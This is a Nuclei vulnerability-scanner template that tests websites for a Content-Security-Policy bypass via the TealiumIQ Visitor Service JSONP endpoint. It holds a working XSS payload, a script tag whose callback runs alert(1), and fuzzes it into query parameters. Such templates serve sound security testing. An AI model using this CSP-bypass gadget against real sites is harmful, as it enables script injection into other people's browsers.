id: tealiumiq-visitor-service-csp-bypass

info:
  name: Content-Security-Policy Bypass - TealiumIQ Visitor Service
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,tealiumiq-visitor-service

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "tealiumiq.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: tealiumiq_visitor_service_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://visitor-service.tealiumiq.com/northwesternmutual/main/q?callback=alert(1)"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "tealiumiq_visitor_service_csp_xss == true"
# digest: 490a004630440220257b594810f6660cbf90dbb103a5c3bc9074c564b6fd32dd2800ce908a975ae102201e2ed2fa5f17c8739ae2b86c8dce32f6a5122ac78e7620d1787a7176a3191629:922c64590222798bb761d5b6d8e72950